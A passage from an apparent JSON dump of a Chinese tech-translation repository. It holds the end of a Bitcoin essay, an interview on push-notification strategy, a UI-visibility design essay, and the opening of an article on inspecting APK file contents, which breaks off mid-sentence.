永远！\n\n看你卡住了这么久，所以我可以解释一下。\n\n首先，我为比特币生存直到我死去，但让我们客观地看几分钟，看看为什么它可能会下降。这可能不是你的想法。\n\n比特币具有先发优势。这是绝对的第一次，仍占据全球市场份额的主导地位，但同时也面临着一些可能杀死它的重大缺陷。\n\n![](https://cdn-images-1.medium.com/max/600/1*3Hrfnp399fFqKYsZiLdKNA.jpeg)\n\n基本上，它是区块链演进的模型 T。\n\n你今天在街上看到了多少个模型 T？\n\n你能改装一个 T 型车，让它像兰博基尼一样燃烧橡胶吗?你能添加复杂的电子设备使它成为自动驾驶的特斯拉吗?不。\n\n首先，比特币没有内置的管理。这是一个重要的缺陷。只有几种方法可以改变它。首先是[提交提案](https://coin.dance/blocks/proposals)，需要几乎每个人都同意，正如我们在 SegWit 看到的那样，这非常困难。花了四年时间才得到通过。\n\n第二个是开始一个新项目并硬 fork 它。这可能是最终实际工作的唯一方式。一个团队可能会分叉并建立管理，但这是一个很长的过程。\n、\n具有设计良好，广泛内置的管理的币将比比特币具有巨大的优势，并且可以轻松取代它，因为它使升级更加顺畅。\n\n对资金充足的敌对力量的攻击进行升级和应对，需要在数小时甚至数天而不是几年内迅速渗透整个网络。\n\n如何扩展？我们已经讨论过这个问题。改变区块大小不会削减它。这将需要更激进的东西。\n\n![](https://cdn-images-1.medium.com/max/600/1*8DuarABxVGDxsyJGN0NicA.jpeg)\n\n如果中国改变了防火墙的话呢？ 在这个后期阶段甚至有可能将专用中继和其他抗干扰代码加入系统中？\n\n如果政府只是决定将数十亿美元投入数据中心并秘密设计 ASIC 来运行该系统呢？任何矿工都可以竞争吗？\n\n如果敌对方决定召集所有核心开发者，会怎么样？ 考虑到现在加密世界中人才的巨大短缺，替换它们有多容易？\n\n这些只是我最喜欢的加密技术中几乎不可逾越的问题。我指出他们不要杀死它，而是让人们思考。让人们思考。如果你真的能看到一个问题，你可以找到解决它的方法。但是，如果我们只处理像区块大小限制这样的虚假问题，我们将一事无成。\n\n比特币是一个美丽的，辉煌的想法，它已经改变了世界。 它不会失败，因为它是一种欺诈或骗局，但由于它自己的硬编码规则，内部斗争和缺乏管理。\n\n当然，它不会失败。我们现在可以开始考虑如何拯救它。\n\n正如我前面提到的那样，某种虚拟化或集装箱化让比特币能够适应和发展，通过迁移到一套抽象的协议和防御措施，有助于确保比特币不仅能够存活下来，而且还能够蓬勃发展。\n\n我正在为此而生。我打赌，如果你正在阅读这篇文章，你也会有这样的想法。\n\n确保它能够存活下来的最好方法是了解它可能发生故障的所有真正原因，并开始为当今的这些问题设计真正的解决方案，以便当它们到达时，我们已做好准备。\n\n### 最后的边界\n\n我有更多的预测，但我会保存他们[**我的小说**](https://www.amazon.com/Daniel-Jeffries/e/B00D1HG62U) 如果这篇文章发生病毒，也许我会做后续。\n\n我还从桌面上留下了一些邪恶的想法，因为我不想看到他们成功。如果有人想到他们，我无能为力，但明天蒙特卡罗路线中最糟糕的情景不会来自我的键盘。\n\n**加密货币是世界经济体系的根本升级。**一旦它们完全启动并融入到未来的全球和星际网络中，按照我们现在开始理解的方式，世界将会变得非常、非常不同。\n\n从现在起数百年，今天的经济将看起来像过去的封建经济。\n\n![](https://cdn-images-1.medium.com/max/600/1*SUddgH7g770fXRjiMemq9g.png)\n\n加密货币，去中心化应用程序和 DAO 甚至有可能将我们带入 **Star Trek，就像后稀缺经济** 一样，但这需要时间。\n\n即使我将 Singularity 加入我的所有科幻作品中，我都不会以奇点级别的加速度下将我们带到那里，因为这是很棒的小说。但它可能不是现实。\n\n如果我错了，那么我上传和快照的虚拟头脑，在 [Matroishka 大脑](https://www.youtube.com/watch?v=Ef-mxjYkllw)上运行在全球大量的计算机上，只需要处理它。\n\n但我怀疑它。\n\n那么，我们在哪里？\n\n加密将会像生活中的一切一样成为善与恶。\n\n如果你正在研究加密，那么你正在构建明天的世界，但不要期待它会在下周到来。\n\n惯性有一种放慢速度的办法，即使是最快的火箭也是如此。\n\n只要我们大胆地走到没有人去过的地方，就可以享受骑行。\n\n一如既往，感谢阅读。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/what-you-must-know-to-build-savvy-push-notifications.md",
    "content": "> * 原文地址：[What You Must Know To Build Savvy Push Notifications](http://firstround.com/review/what-you-must-know-to-build-savvy-push-notifications/)\n* 原文作者：[First Round](https://twitter.com/firstround)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[写代码的猴子](https://github.com/laobie)\n* 校对者：[Ruixi](https://github.com/Ruixi), [rccoder \\(Shangbin Yang\\)](https://github.com/rccoder)\n\n# 如何设计精准的推送通知？\n\n智能手机面世已经近十年时间，但根据 [First Round 对初创公司的调查报告](http://stateofstartups.firstround.com/#highlights) 来看，创始人们仍然宣称移动端是最被低估的技术。推送通知在移动设备上潜力极大。企业家 [Ariel Seidman](https://www.linkedin.com/in/aseidman) 在 [Fixing mobile push notifications](http://arielseidman.com/post/62564939335/fixing-mobile-push-notifications) 这篇文章中提到：“去夸大移动端推送通知的潜力是一件很困难的事。这是在人类历史上第一次可以同时拍着近 200 万人的肩膀，说‘嘿!注意这个！’” 这也是 [**Slack**](https://slack.com/) 的 [**Noah Weiss**](https://www.linkedin.com/in/noahw) 一直笃信世界会通过智能设备变得越来越亲近的原因。\n\n供职 Slack 之前，Weiss 在 Foursquare 工作，当时它 [通过原生广告服务获利](http://techcrunch.com/2013/10/14/with-an-eye-to-more-revenue-foursquare-opens-its-ads-platform-to-all-small-businesses/) ，并在 2014 年大胆地分成 [两个应用](https://medium.com/foursquare-direct/the-lego-block-exercise-4c7d60eeb38f#.tmyz2j5o0)。那时候，每月活跃用户增长五倍之多。 Weiss 还是 Google 结构化数据搜索项目的首席产品经理。最近，Weiss 加入 Slack [建立其纽约办事处，领导新的搜索、学习和智能项目组](https://medium.com/@noah_weiss/starting-up-slack-s-search-learning-intelligence-group-in-the-new-nyc-office-af6523090789#.sqly156er)，其任务是开发[新的功能](http://www.recode.net/2016/6/6/11863534/slack-artificial-intelligence-AI-noah-weiss) ，使其他公司在使用 Slack 时更加高效。\n\n在这次采访中，Weiss 描绘了推送通知的动态演变 —— 阐释了智能手表和应用布满屏幕主屏时代关键的范式转变。在此，他还分享了一些关于初创公司寻求制定推送通知策略、投入、指标和指南的小秘诀。任何想要控制这种高风险、高回报渠道的创业公司都会从 Weiss 这里受益。\n\n> 一个好的推送通知有三个特性：及时性，个性化和可行性。\n\n## 推送通知的演进\n\n在分享他的策略之前，Weiss 总结了推送通知的演变，因为它涉及到**三种强大的特质：及时性，个性化和可行性。**他将他们的历史和进展看作是建立未来时的基础。以下是简化的推送通知演变历史的四个阶段：\n\n**电子邮件是推送通知的前身。** 网络时代初期的推送通知是电子邮件。“在电子邮件和推送通知之间有很多类似的地方。” Weiss 说，“在过去，你通过提供电子邮件地址，允许与网站进行开放式沟通。电子邮件成为将人带回网站的可靠的主要方式，它不是通过门户或书签。并且，电子邮件中有一个取消订阅选项。通知的等效选项是调整推送设置，或者更常见的是卸载应用程序。\n\n**进化到移动时代。** 当用户在手机上投入更多时，电子邮件开始衰退。“可能很难回想起智能手机之前的时代，人们并不习惯在他们的收件箱里生活。他们每天在电脑上检查电子邮件好几次。“ Weiss 说。 “即使是那些拥有非常成功的电子邮件营销策略的公司也会使用移动设备。还记得 Groupon 提供激光脱毛服务吗？你为什么收到它？你什么时候对脱毛表现出兴趣，或者表示你在手机上做出这种类似的购买决定时？绑定到用户，位置和一天中的某个时间，推送通知变得更有效。他们有着及时性、个性化和可行性的潜力，当然如果做的不好，用户也会感到厌烦。\n\n**与短信竞争，而不是电子邮件。** 在移动设备上，推送通知更像是短信，而不是电子邮件。“推送的内容是与此刻发生的事物紧密相关的。当你可能不指望你的内容在几天内被阅读，你可以发送一封电子邮件，这对于业内通讯或文摘来说是可以的。” Weiss 说，“然而，实时推送通知所需的及时性或注意力是完全不同的。通过推送通知，你可以有效地与短信和其他个性化的沟通方式竞争。如果别的通知来自某人的配偶、最好的朋友或妈妈，你如何做到个性化？它们必须在同一水平竞争。\n\n**切割所有应用程序。** 当人们首次使用智能手机时，他们的应用可以摆放在 4x4 网格的主屏幕上。而现在，美国用户的手机上大约平均有 55 个应用。“你需要知道的是，无法让这些应用都被定期使用。如今也很难开发一个应用，让该应用的使用变成日常习惯。” Weiss 说，“开发者的现实是，你的应用可能不会在某人的主屏上，用户也可能不会有一天使用它多次的习惯。这就是通知变得越来越重要的原因。对于大多数应用，推送通知可以完美地提供紧急信息：Uber 到达，登机口变更提醒或者你在 Slack 中被提及。如果用户被 50 多个应用程序淹没，你不能指望他们记住在正确的时间和地点使用你的应用，你需要主动引导他们打开。\n\n\n## 围绕以下原则构建你的推送通知策略\n\n深度通知策略可以权衡和组织多个因素，例如附近的 WiFi，个性化，社交因素和实时捕捉到的位置等等，都可以用来驱动推送通知。但对于刚刚开始接触推送通知技术的初创公司来说，有一些基本因素需要考虑。从基本到更高级的诀窍，Weiss 讲述了他在开发推送通知系统时学到的基本经验。\n\n**在应用程序之外促进用户留存**\n\n从用户保留角度来看，当你的应用超越了功能下限后，用户返回你的应用的次数会减少。你只能在你的应用中塞入那么多功能，并期望新用户在一开始的几个会话中发现这些功能。“移动领域最大的挑战是留住新用户，已经有得到证明的战术来引进新用户：高效的应用安装营销、社交渠道、SEM 和 SEO。然而，真正困难的是让新用户养成一种习惯。” Weiss 说，“有时候，你的应用的改进不会显著影响用户留存的顶峰值，但是在应用之外的投资却可以做到，这里即推送通知的投资。因为一旦有人关闭了你的应用，他们错过了第四个 Tab 下的神奇体验就变得无关紧要了。因为如果他们再也没有打开你的应用，他们永远不会知道他们错过了什么。\n\n在为你的应用设计最佳用户体验的过程中，请不要忘记，只有在用户打开应用时，才会享受到这种体验 —— 才会继续回到你的应用。“这总是让我感到惊讶和痛苦：当我看到对一个应用投入令人难以置信的时间和精力，却没有一个策略重新吸引我。” Weiss 说，“当然，大多数年轻的开发人员都不考虑通知。不要犯这个错误。这也是目前移动产品开发中最大的疏忽。”\n\n> 客户需求推进了一个应用，用户留存成了一笔生意。\n\n**不要在有权限的情况下错误下载。**\n\n请求获取发送通知的权限不仅是良好的形式，而且在技术上也是必要的。“如果你在 iOS 平台上开发，发送通知是用户必须授权的权限。与 Android 不同，下载应用默认授予权限，你必须提示用户。” Weiss说，“这是一个很关键的时刻，如果用户拒绝授权，应用无法引导用户重新进入授权页面，这极大地降低了他们变成活跃用户的可能性。即使他们接受，这也不是个有约束力的合同。”\n\n如果用户厌倦了你的推送通知，最好的情况是他们可以选择在应用中保留哪些通知是活动的，但更可能的是导致他们到手机设置中关闭所有通知或者卸载应用。这实际上是不可逆的。注：提升给用户的第一个通知体验，否则他们会关闭通知渠道。\n\n因此，第一步是提示用户在一开始同意接收通知 —— 如果他们说不，其余的建议将变得不再重要。它涉及用户教育，在用户发现有价值的内容之后再弹出提示，或者授权绿灯亮起来时再申请授权许可，可以提升转化率。然后是关于保持信任和保持开放的沟通，这两个步骤有一些不错的文献可以参考，Weiss 推荐了以下的文章：\n\n*   [移动端请求用户权限的正确方式](https://library.launchkit.io/the-right-way-to-ask-users-for-ios-permissions-96fa4eb54f2c#.3u7waqk3w) —— [Brenden Mulligan](https://twitter.com/mulligan)\n\n*   [为什么 60％ 的用户选择停用推送通知，如何应对这种状况](http://andrewchen.co/why-people-are-turning-off-push/) ——[Andrew Chen](https://twitter.com/andrewchen)\n\n*   [让用户再次回到你的应用的正确方式](https://medium.com/circa/the-right-way-to-ask-users-to-review-your-app-9a32fd604fca#.iz4jrwiin) ——[Matt Galligan](https://twitter.com/mg)\n\n考虑到获取通知权限的高风险，这些文章的重点默认是如何规避风险。“如果你足够聪明，那么实际上涉及到通知你会变得非常谨慎。在所有实验中建立安全网，因为任何失误都会产生很大的影响。” Weiss 说，“例如，如果我每周发布一次推送，所有用户都会收到，我会将它作为一个 5％ 或 10％ 的实验，以覆盖任何导致用户选择退出通知的潜在缺陷。”\n\n**指定三个指标来衡量通知**\n\n为了评估你的通知策略，需要给出以下三个指标：**1）选择取消通知权限的用户比率 2）卸载率 和 3）每百次推送的操作次数**。\n\n“要评估一个好的通知，你必须在用户主动参与和取消通知之间达到平衡。这是一个棘手的平衡，因为你可能会比较一个短期的主动参与用户数的提升与长期下来的卸载用户数，不能再重新参与。” Weiss 说。 “从设定卸载率和通知禁用率开始，如果你的应用程序是面向消费者的，而且卸载率低于 2％，则表示你处于安全区。所以如果你的每周流失率为 1％，你的增长率为 1.02％ 到 2％，这不是毁灭性的。监测所有剧烈的波动，因为一周一周的叠加效应可能会造成损失。”\n\n为了评估通知策略的回报，不要考虑打开率而是衡量具体操作。“我建议的一个方法是监控推送通知的时间窗口，统计到达绑定到原始通知的操作的数目。例如，如果通知鼓励用户评价他们最近访问过的地方，分析用户在 2-6 小时的窗口内每百次推送通知的评分数。” Weiss 说，“总是有归属的问题，但如果你在发送通知后定义一个固定的时间窗口进行评估，结果会让你更能接受。\n\n**...校准指标以用来比较 iOS 和 Android 上的表现。**\n\n对于那些想要将打开率作为指标进行追踪的人，Weiss 对不同操作系统上的通知的性质有几点看法。“通过电子邮件跟踪打开率是很容易的，但是你要知道 iOS 的打开率远远低于 Android;进行相同的推送，Android 可以显示多达 iOS 平台五倍的打开率。” Weiss 说，“在 Android 用户倾向于处理通知，因为只有在你手动打开每个通知时，通知才会清除，而在 iOS 上，一旦你从锁定屏幕打开一个通知，其他通知就会清除。\n\n与其他功能一样，不同的操作系统在收到通知时表现也不同。“例如，Android 上的通知可以内置图片，这样可以提高 15-20％ 的互动概率。由于大多数开发人员通常在 iOS 平台上工作，他们认为发送 Android 推送通知也不可以附带图片。” Weiss 说，“还有内置操作按钮，让用户可以直接从通知进行操作。这些也提升了更高的互动概率。即使作为一个 iPhone 用户，我也不得不说，从根本上来说，Android 的通知开发都是更好的。\n\n> 用个性化的内容填充推送通知，让他们听起来像来自一个亲密的朋友。\n\n**抵制新奇性效应**\n\n运行推送通知的实验至少六周，12 周是一个不错的选择。 Weiss 明白，进行更长时间的测试是必要的，以表现出所有负面影响。“一般用户将忽略不必要的推送大约一个月，而不采取任何操作，如更改设置或卸载应用。一旦超过这个阈值，烦人的通知很快被清除。” Weiss 说。\n\n通知具有强烈的新奇性倾向，这延迟了用户的真实反应。Weiss 曾发起了一个实验来测试用户对表情符号的反应。“我们将文本的长度减半，并添加了相关的表情符号。在实验的前两个星期，我们统计指标达到了顶峰。用户打开应用的操作明显。每周活跃用户数( WAUs )上升。它迷惑性地宣称未来是表情符号的。” Weiss 说，“随着时间的推移，我们继续监控它，增长放缓，然后变平。最后，影响是中性的。这并不是一件坏事，但如果我们基于初步结果就分配资源，那就会导致问题。因此最好花几个月时间而不是几个星期来测试推送通知。\n\n**如何测试？何时测试？在哪测试？**\n\n推送通知的“为什么”和“谁”是比较直接的 —— 目标是提升所有用户的参与。然而，在推送通知的方式上却有各种各样的想法。Weiss 在他的职业生涯中，帮助启动了 100 多个通知实验 —— 测试了从一天时间内到触发，到回到首屏。 [与运输软件一样，没有“正确的方式”](http://firstround.com/review/the-right-way-to-ship-software/) ，但在这里他分享一些无可争议的点：\n\n* **只有最紧急的通知才需要开启振动。** “通过推送，你可以控制默认设置是手机振动还是静音。从我所有的用户研究中我发现这是最高风险的决策之一。如果一个通知振动了用户，她发现并不紧急，那么应用程序被卸载的可能性立即暴增。” Weiss 说，“如果它是紧急的 —— 就像你即将错过你的飞机或直接来自同事的紧急消息 —— 一个嗡嗡声可以是一个非常强大和值得称赞的工具。如果没有，这将会产生危险、发生意外，因此，对于从朋友那得到一个赞或者喜欢，不要使用振动。用户平均每天查看手机的时间为 70 到 100 次，他们很可能在接下来的 15 分钟内看到你的消息。”\n\n*   **匹配用户的生物节律。** “推送的时间很重要，但没有一个规则来规定绝对最好的窗口时间。但请花一点时间思考下如何监控用户作息进度，避免在用户睡着时发送通知，因为这样你将吵醒他们，或者他们会在早上发现一堆来自你的应用的推送消息。” Weiss 说，“也要考虑你的内容的性质，在上午发送新闻效果不错，以及在上下班路上时发送通知也不错。通过监控用户的参与来提升你的策略。”\n\n*   **在你的通知副本中使用各种个性化。** “它产生了巨大的差异。插入用户的名字不算在内，例如' Noah，这里是你星期二的每日交易！'在你的通知副本中显示你知道的有关用户的信息 —— 否则他们将激活他们天生的过滤器来应对爆炸营销。” Weiss 说到，“ 当用户查看他们的时间线时，Twitter 有一个好的做法，该服务提示你查看 Evelyn，Marcos 和Lydia 的最近一天的推文。这些都是你关注的、可以叫出名字的人。Spotify 对于你经常听的艺术家的新歌也一样处理。\n\n*   **像 Uber 一样思考你的推送。** “如果你的 Uber 司机在曼哈顿的任一个街区上放下了你，当你要求在下东区一个特定的街区下车，你会高兴吗？这很显然，但初创公司可能忘记将他们的用户指引到在通知中提示的**准确**界面上。” Weiss 说，“如果通知引导用户进到他们期望的界面，人们就会点击它。如果没有，他们下一次就会忽略它。许多电子商务应用通过将用户引导到通用界面而不是特定项目或页面来解决这个问题。\n\n> 魔术师把你的选中的牌变到一副牌的最上面。拥有智能通知的应用将拥有更多的手法，在适当的时间将他们的服务呈现到人们的手机上。\n\n## 通知的未来\n\n智能手机和智能手表的屏幕不断变化，但主屏幕的实际空间始终是有限的，无论大小。考虑到手机上保存的应用程序数量激增，此限制是一个约束。以下是 Weiss 从移动操作系统的演变得到对未来通知的想法：\n\n**让锁屏成为新的主屏幕。** 事实上，人们看到的比手机主屏幕更多的唯一地方就是手机锁屏界面。“你的主屏幕上放置的你想要触手可及的应用，通常限制在不到 20 个。你的锁屏则列出了手机上的数百个应用最近的通知。” Weiss 说，“我认为锁屏将取代主屏幕，将会有一个全新的主屏体验，将应用以流的方式呈现给你。最终排名将不仅仅是取决于最近使用和使用频率。系统通知将感觉像 Twitter 的实时动态，嘈杂的信息流让人感觉像 Facebook 的热门动态。\n\n> 你可以随时切换到某个应用，但通知将是你坚定不移的向导。\n\n[应用绑定和解绑的自然现象](http://ben-evans.com/benedictevans/2014/8/1/app-unbundling-search-and-discovery) ，Weiss 看到一个潮汐般的转变：锁屏将再次重新绑定它们。“在过去三年中，应用生态系统中出现了一个渐进的、巨大的分裂。应用程序已变得针对单一使用场景更加专业化。” Weiss 说，“但随着用户聚集了一堆应用，在正确的时间选择正确的服务变得越来越困难。通知给用户提供及时有用的信号。将会有一个新的导航范例，当用户正在考虑使用某些应用时，智能地控制这些应用。\n\n**丰富的上下文感知。** 如果用户越来越多地通过发送到锁屏界面的通知流来与应用交互，这将是因为他们确信他们被发送了最及时、最相关的警报。这只会发生在一个强大的上下文感知中。“手机上的传感器使你能够在移动设备上建立一个感知上下文级别的服务，你永远不可能在桌面或电子邮件上进行这样的感知。你如何把这种感知翻译成真正可行的、及时的、相关的通知？”魏斯问，“这是一个令人振奋的新领域，想象一个服务，可以区分是否有人一个特定的场所停驻，无论是咖啡馆，机场还是健身房。对上下文的独特感知创造了大量发送相关推送通知的新机会。”\n\n> 最好的应用将是那些你不必记住他们的应用，他们会主动提醒你。这种应用将是未来的唯一类型应用。\n\n“我最喜欢 Foursquare 在一个城市新的或热门的场所的推送通知。根据你的手机的定位，它可以将你与实际访问的地方关联起来。” Weiss 说，“它给你一个通知，通常每周一次，'嘿，这里有三个城市热门地方，你还没有去过。’这是一个神奇的时刻，当你意识到你仅仅是带着口袋里的手机在周围走了走，也许你甚至整整一个星期都没使用过这个应用。你不需要做任何事，它就将你拉回这个应用，并给你惊喜。”\n\n完整利用移动设备上的传感器具有挑战性，但可以从一些基本的方向开始。“虽然大多数开发人员无法简单地建立这种类型的位置解析，但是基于后台定位构建一个模型用来解析一个人在家还是在工作是很容易的。这是两个用来触发相关的推送非常丰富的上下文。” Weiss 说。\n\n## 总结\n\n虽然通知可以提高留存率和互动率，但不要将其视为增长的黑科技。他们有潜力成为与用户互动的最直观、最亲密的方式。为了建立这种可靠的关系，他们必须是及时的、个性化的、可操作的。通知策略必须请求用户的授权，并根据其停用、卸载和每100次通知点击次数来权衡。更好地方式是根据用户主动输入和被动地感知上下文来定制通知。\n\n“我们还在移动时代的早期。设备继续改进，将会拥有更大的屏幕，更长的电池寿命或者变成可穿戴的。” Weiss 说，“然而无论硬件如何发展，通知将是你的移动设备最亲密的功能。像亲密的朋友或家人一样，智能通知会记住你的偏好和历史。他们会准确地指引你，让你与亲人保持联系，并在最合适的时间提醒你重要的事情。这大概就是技术的力量。”\n"
  },
  {
    "path": "TODO/what-you-see-is-what-you-use.md",
    "content": "> * 原文地址：[What You See is What You Use](https://medium.com/the-year-of-the-looking-glass/what-you-see-is-what-you-use-5a97677a8c71?ref=uxdesignweekly#.8n33go9m6)\n* 原文作者：[Julie Zhuo](https://medium.com/@joulee)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[jiaowoyongqi](https://github.com/jiaowoyongqi)\n* 校对者：[cbangchen](https://github.com/cbangchen), [siegeout](https://github.com/siegeout)\n\n# 你的设计应该「所见即所得」\n\n几年前的一个夏天，我有机会住在旧金山里同一栋楼不同单元的两个 Loft 公寓中。\n\n由于这是同一栋楼，所以你可能会想这两个单元应该是相似的。的确，它们都有1000平方英尺的面积，墙壁上全是巨大的格子窗户，使得阳光和温度能倾泻到屋子里（住在屋子里就像我的故乡德克萨斯州一样，正午阳光与地面的角度有90度）。它们的屋子一角都有厨房，还有金属楼梯延伸到二楼的开放式卧室，以及那个烦人的中空门。\n\n最大的不同就是我们待的第一个公寓是在高层，而第二个公寓是在底层。为何这会差别这么大呢？高层的公寓有更棒的视野。而两个公寓都有户外空间，底层公寓的户外空间是后院，而高层公寓的户外空间更为隐私，是楼顶的天台。\n\n我们待的第一个公寓有一个露天的天台。可能并没有下图那么奢华，但是当我们第一次看到露台的时候大家都兴奋不已。露台上几张椅子围着一张小桌子，而且可以看到很棒的城市的景色，最棒的就是下午四点跟朋友小酌一杯，来一盘卡坦岛拓荒者，或者在浓雾中读一本很棒的书。\n\n![](https://cdn-images-1.medium.com/max/800/1*krgFBDdD83SMH6eVcb7q5A.jpeg)\n\n这真是一个超棒的露台。\n\n当我们要搬走的时候，我们告别了天顶露台，迎接我们的是一个小巧的后院。下面的效果图只是为了简单示意，实际上我们的后院并没有草地，但有足够大的长沙发和遮阳伞，一些盆栽还有一个烤架。\n\n![](https://cdn-images-1.medium.com/max/800/1*VCIac-3nw683O8EwhkEqvQ.jpeg)\n\n这真是一个超棒的后院。\n\n\n你可能会想到，这两个公共空间是各有优缺点的。我的意思是，一个拥有极佳的视野，而另一个又很方便进出。有得必有所失。\n\n事实上，在两个不同的公寓生活后，我们在露台上享受的时光屈指可数。\n\n在同样长的时间内，_每一个阳光午后_我们都会待在露台上。\n\n我很怀念当时的时光。\n\n> 而事实上，无论天台多么可爱、装潢得多么漂亮，它的使用次数也不会跟后院的使用次数差不多。\n\n当我们搬到了底层的公寓，我们可以时刻透过窗户看到外面的院子。一天20次、50次，甚至上百次，我们会看到院子里舒服的躺椅还有阴凉的遮阳伞，_就在我们眼前_。我们会在天气很棒的时候不自觉地走进后院，在院子里办公，与朋友闲谈或者串着烧烤。\n\n当我们住在顶层公寓的时候，我们并不会天天看到露天天台。但实际上走上天台只需要大概30秒的时间，这并不困难。_但天台并不在我们的视野内_，我们必须想到天台的时候才会走上去。这样的想法就跟决定出发去楼下小卖部或者公园一样。同样的，如果我们有访客，我们才会想到带他上楼，让他赞叹一下我们的天台。我们并不会在屋里闲逛的时候被窗外的景色吸引而跑上天台。我们很容易忘记它的存在，所以我们很少使用露天天台。\n\n\n我在设计界面的时候，常常会想到天台和后院的例子。\n\n我们设计师很喜欢极简的界面，留白及静谧。我们钟情于将大量的功能和操作以优雅地方式隐藏于视野之外。藏在菜单之后、抽屉列表之内，亦或长按或者轻扫之后。\n\n我们的理由就是，“人们学过一次的操作，他们下次就会知道怎么使用了。”还会说，“无论我们把操作放在界面的哪里，用户都会有相同的选择。”\n\n我们可以很容易地证明可见性和初始状态的重要性。\n\n很久以前，Facebook 在移动客户端的左上角使用面包屑导航来组织信息。这是一个很简洁很优雅、用于区分不同功能模块的方式。（而且这个导航菜单可以保证手机客户端的信息跟网站相一致）这个滑动展开的侧导航也渐渐成为主流，目前市面上依旧有很多应用使用这样的导航。\n\n![](https://cdn-images-1.medium.com/max/800/1*ArDcJETUpnajuHlnLwH3fg.png)\n\n汉堡包图标导航窗格\n\n但很可惜，汉堡包导航菜单就像露天天台。当你想到“我想前往 X”的时候才会点击。这是典型的_看不到就想不到_。\n\n我们改回了标准的底部标签导航方式，就像从天台到了后院。屏幕上多了更多的元素，但这是个十分常见而且很高效的方式，帮助我们的用户更好地看到我们主要的功能模块，并方便其点击跳转前往。\n\n我找到了一些界面设计中关于_天台_和_后院_的讨论观点：\n\n*   **入口处**：当我们设计一个新功能的时候，通常第一步就是直接展示一个理想的原型给用户，同时将新功能的特性以及该如何使用都告诉用户。这个设计思路就跟你在思考你家户外空间的布局和构造一样，首先需要问自己“这公共空间是在房子后面还是在楼顶？”设计界面的时候应该问自己“_用户是如何发现这些功能的？_”合理规划入口的位置是一件十分困难而且对于你产品的成功与否至关重要的事情，相较而言，争论用户点击之后呈现的功能则没这么重要。\n    \n*   **菜单栏**：我们试图将大量的功能藏在菜单和手势之后，并且假想用户每次的操作都有明确的点击目标。可是大部分用户却不是这样的，除非设计的时候把某些功能特殊提及。即使你成功地通过隐喻等手法让用户知道如何操作，但是让用户养成操作习惯也需要很长的时间。如果这个功能对于大部分用户而言是十分重要的，那么你就需要强调它。如果这个功能并不重要，则需要考虑要不要去掉这个功能以便减少用户的认知负担。\n      \n*   **让用户做选择**：当设计时遇到如何安排并组织功能的时候，有时候没有明确的答案，设计团队常常会说，“我们把选择权交给用户吧。”当你这样做的时候，大部分的用户（80%到90%）都会选择有初始内容的方案，所以合理地规划功能内容是设计团队无法避免的工作。（完全不展示初始内容的思路是十分错误的，你很有可能丧失很大一部分不愿意做操作选择的用户）\n      \n*   **相关的操作**：当用户已经在做某件事或看某物的时候，向他推荐相似的内容，他更容易受之吸引。正在看关于奥运会的文章？那么你可能会对这个作者的其他奥运文章感兴趣。被这张中世纪风格的卧室所吸引？那么为了你的重新装潢计划来看看其他令人惊艳的卧室照片吧。正在给你的邮件事件进行标星分类？那么还有这些事件也是你现在应该需要考虑的。这些都是在体验设计中十分高效的典型例子。\n     \n*   **使用具有号召力的平台**：有号召力的平台的优势就是他们已经拥有大量的用户。写一篇文章并且放在我的个人网站上就像“天台”一样。写一篇文章并且分享到 Medium, Facebook, Twitter 上，就好像“后院”一样，可以获得更多的流量。这个策略可以应用于所有其他独立的设计中，比如网站空间、网页、App、页签导航或者书签。问问自己，我是否真的需要创建我自己的平台？是否有更方便的平台帮助我完成我的目标？\n    \n如果你想要产品的功能被用户发现并使用，把它放在用户看得见的地方吧。\n"
  },
  {
    "path": "TODO/whats-in-the-apk.md",
    "content": "> * 原文地址：[Whats in the APK?](http://crushingcode.co/whats-in-the-apk/)\n* 原文作者：[Nishant Srivastava](http://crushingcode.co/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Newt0n](https://github.com/newt0n)\n* 校对者：[shliujing](https://github.com/shliujing), [siegeout](https://github.com/siegeout)\n\n# APK 里有什么?\n\n![header](http://crushingcode.github.io/images/posts/whatsintheapk/header.jpg)\n\n如果我给你一份 Android 应用的源码然后请你提供关于 `minSdkVersion`, `targetSdkVersion`, permissions, configurations 等 Android 应用相关的信息，相信几乎每个有 Android 开发经验的人都能在短时间内给出答案。但如果我给你一个 Android 应用的 **APK** 文件然后让你给出同样的信息呢？🤔乍一想可能会有点棘手。\n\n事实上我就遇到了这样的情况，尽管我很早就知道 `aapt` 这类工具的存在，但当我需要获取 `apk` 里的权限声明时也不能在第一时间想到方案。很显然我需要复习下相关概念然后找到个有效的方案来解决这个问题。这篇文章将会解释我是怎么做的，在大家想对任何别的 App 做这种反向内容查找的时候也会有帮助。🤓\n\n**最常见的解决方案一定是下面这种**\n\n从 **[APK[1]](https://en.wikipedia.org/wiki/Android_application_package)** 的定义开始\n\n> **Android application package (APK)** 是一种包文件格式，在 Android 操作系统里它被用来进行应用程序的分发和安装。\n> \n> …**APK** 是一种存档文件, 具体的说是基于 JAR 文件格式的 **zip** 格式包，以 `.apk` 作为文件扩展名。\n\n![header](http://crushingcode.github.io/images/posts/whatsintheapk/apk.jpg)\n\n..嗯，所以它是基于 **ZIP** 格式的，我能做的就是把它的扩展名从 **.apk** 改为 **.zip**，然后 ZIP 解压工具应该能解压出它的内容。\n\n![header](http://crushingcode.github.io/images/posts/whatsintheapk/rename.jpg)\n\n![header](http://crushingcode.github.io/images/posts/whatsintheapk/zip.jpg)\n\n这就厉害了, 所以现在我们能看到并检查 zip 文件里的内容\n\n![header](http://crushingcode.github.io/images/posts/whatsintheapk/contents.jpg)\n\n现在你可能会想我们已经能访问到所有的文件，马上就能提供所有文章开头要求的那些信息了。不过，并没有这么简单的，亲😬。\n\n可以试试随便用一个文本编辑器打开 `AndroidManifest.xml` 